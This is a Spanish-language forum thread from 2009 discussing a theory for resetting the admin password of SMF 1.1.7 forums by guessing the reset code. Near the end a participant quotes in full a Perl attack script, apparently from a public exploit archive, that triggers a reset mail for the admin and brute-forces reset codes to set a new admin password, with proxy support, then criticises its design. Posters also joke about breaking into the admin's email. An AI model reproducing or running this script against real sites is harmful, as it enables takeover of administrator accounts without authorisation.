Reset Admin Password 1.1.7 SMF (TEORIA)

Iniciado por OzX, 9 Enero 2009, 01:59 AM

0 Miembros y 2 Visitantes están viendo este tema.

jdc

ModSettings es un archivo sí mal no recuerdo... Ese archivo debe realizar algún proceso no?

O tal vez no tenga nada que ver, sólo trato de ayudarte a pensar xD

ChElAnO


buenisimo!!! en realidad felicitaciones.

Lo malo es que no tiene mucho de utilidad debido a que el password sera enviado al mail registrado del usuario, nunca lo podras ver.  o me equivoco,?

saludos!

Nork

hay que reducir posibilidades!! Buen artículo  ;)
C' Est La Vie

Carloswaldo

Cita de: ChElAnO en 10 Enero 2009, 06:02 AM
Lo malo es que no tiene mucho de utilidad debido a que el password sera enviado al mail registrado del usuario, nunca lo podras ver.  o me equivoco,?

Precisamente por eso es que está esto. xD

Si logras saber cual es la url para resetear el pass del admin pues no necesitas ver su mail.

Siempre queda el plan B (h4x0r34r hotmail y ver la url) xDD

isseu

Pero pq existe esto de reducir las posibilidades, pq no es un numero el codigo una especie de numero aleatorio de 1-1000000 que se guarda en la base de datos esperando a que alguen lo sepa, y que tenga un tiempo limite?

AlbertoBSD

@isseu

WTF!?!
Cita de: isseu en  9 Enero 2009, 02:27 AM
Se nota que te entretuviste, e visto varias veces tratar de resetear la pass a traves del estos mails, pero ninguno que llegara tan lejos, pq no pones un poco del codigo de smf,

Cita de: isseu en 11 Enero 2009, 06:20 AM
Pero pq existe esto de reducir las posibilidades, pq no es un numero el codigo una especie de numero aleatorio de 1-1000000 que se guarda en la base de datos esperando a que alguen lo sepa, y que tenga un tiempo limite?

Primero le dices que se se entretuvo mucho y despues preguntas por que.

Es cierto que es un numero pseudo-Aleatorio sin embargo en hecho de saber que la moda de la suma del numero es 75, eso te da un rango menor de números a probar.

Le nuevamente el tema, y cualquier palabra que no comprendas, ahi esta google.

Saludos.

Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

jdc

@isseu smf es un foro código abierto xD te imaginas ese número no fuera random (o pseudorandom)?

Sería un caos cualquiera podría saber o cambiar el pass del admin de un foro xD

OzX

Cita de: isseu en 11 Enero 2009, 06:20 AM
Pero pq existe esto de reducir las posibilidades, pq no es un numero el codigo una especie de numero aleatorio de 1-1000000 que se guarda en la base de datos esperando a que alguen lo sepa, y que tenga un tiempo limite?


el codigo se genera, y se tendria que guardar en el db en alguna parte, y luego que uno la "encuentra" se valida. por eso no puede ser cualquier codigo.




De todas formas, estaba analizando el total de combinaciones q podria dar 75 y es mas de 10.000 seguro¡ XD¡ por lo cual se me fueron las ganas a la *****, pero provar econ algun otro patron hasta que ia no se me ocurran mas cosas jejejej


Saludos¡

berz3k

@Anon

forcebrute <- XDD no es bruteforce?

PD: Bastante tiempo libre OzX, pero entretenido e informativo tu research.

-berz3k.


OzX

#19
 >:( uhmmmm.

no me gusta la trifurka ni nada  :rolleyes: bue aveces se ajwjwajwajawj.

Pero viendo algunos rss, me di cuenta de algo.


http://milw0rm.com/exploits/7735

En la parte de

sub crackeador() {
$url = $ARGV[0];
$nick = $ARGV[1];
$id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID
Admin] [Proxy:Puerto]\nExample: smf.pl -p
http://www.simplemachines.org/community/ dschwab9 179
www.carlosslim.com:3128\n");
my $reminder = $url."?action=reminder";
my $smf = $reminder.";sa=setpassword;u=".$id.";code=";
my $proxy = $ARGV[3];
if($proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}

sub mail() {
my $content = HTTP::Request->new(GET => $reminder);
$contenedor = $ua->request($content)->as_string;
if ($contenedor =~ /Set-Cookie: (.*?)
/){
        print "\n[+] SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
if ($contenedor =~ /<input type="hidden" name="sc" value="(.*?)"/){
        print "\n[+] sc Detected: $1\n";
    $sc = $1;
} else { die "[!] SC could not be found!\n";}
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
  $req->content_type('application/x-www-form-urlencoded');
  $req->content('user='.$nick.'&sc='.$sc.'&=enviar');
  $req->header('Cookie' => $session);
my $res = $ua->request($req)->as_string;
if(!$res) {exit;}
print "[x]Sent!\n";

}

sub generador() {
my $password = "";
my @chars = split(" ",
    "0 1 2 3 4 5 6 7 8 9 a b c d e
    f g h i j k l m n o p q r s t
    u v w x y z");
for (my $i=0; $i < 10 ;$i++) {
    $_rand = int(rand 35);
    $password .= $chars[$_rand];
}
return $password;
}

sub brute() {
while($bucle ne "finito") {
$code = generador();
    my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code;
    my $content = HTTP::Request->new(GET => $reminder);
    my $content = $ua->request($content)->as_string;
if ($content =~ /<input type="hidden" name="sc" value="(.*?)"/){
    $sc = $1;
} else { die "[!] SC could not be found!\n";}
if ($content =~ /Set-Cookie: (.*?)
/){
        print "\n[+] New SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
print "[+] Testing Code: ".$code."\n";
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
  $req->content_type('application/x-www-form-urlencoded');
  $req->content('passwrd1=xianur0washere&passwrd2=xianur0washere&code='.$code.'&u='.$id.'&sc='.$sc);
  $req->header('Cookie' => $session);
  $res = $ua->request($req);
  if ($res->is_success) {
     if($res->content =~ '<input type="text" name="user" size="20" value="') {
print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n";
exit;
}
} else { die "[!] HTTP response incorrect!\n";}}}

print "\n[-] Sending Mail...\n\n";
mail();
print "\n[-] Attacking code link recovery...\n";
brute();
}



analizando mejor, pues lo conozco.

Url Original:
http://xianur0.blogspot.com/2009/01/smf-destroyer-01-by-xianur0-prov8.html


bueee nose que pretende este chaval thera, pero vamos ¡ tengo tiempo para hacer esto , tiempo de vagaciones pero no para k me jodan las ideas. y aparte desarrolladas de una manera bastante mala.

habra sacado la cantidad de posibilidades que hay en un sha1, que se sacan sus primeras 10 caracteres que sean valores hexa, es mas de 1 billon de posibilidades :).

Citarmy @chars = split(" ",
    "0 1 2 3 4 5 6 7 8 9 a b c d e
    f g h i j k l m n o p q r s t
    u v w x y z");
(aki se mata con las posibilidades xD¡. ? : hex )

Saludos¡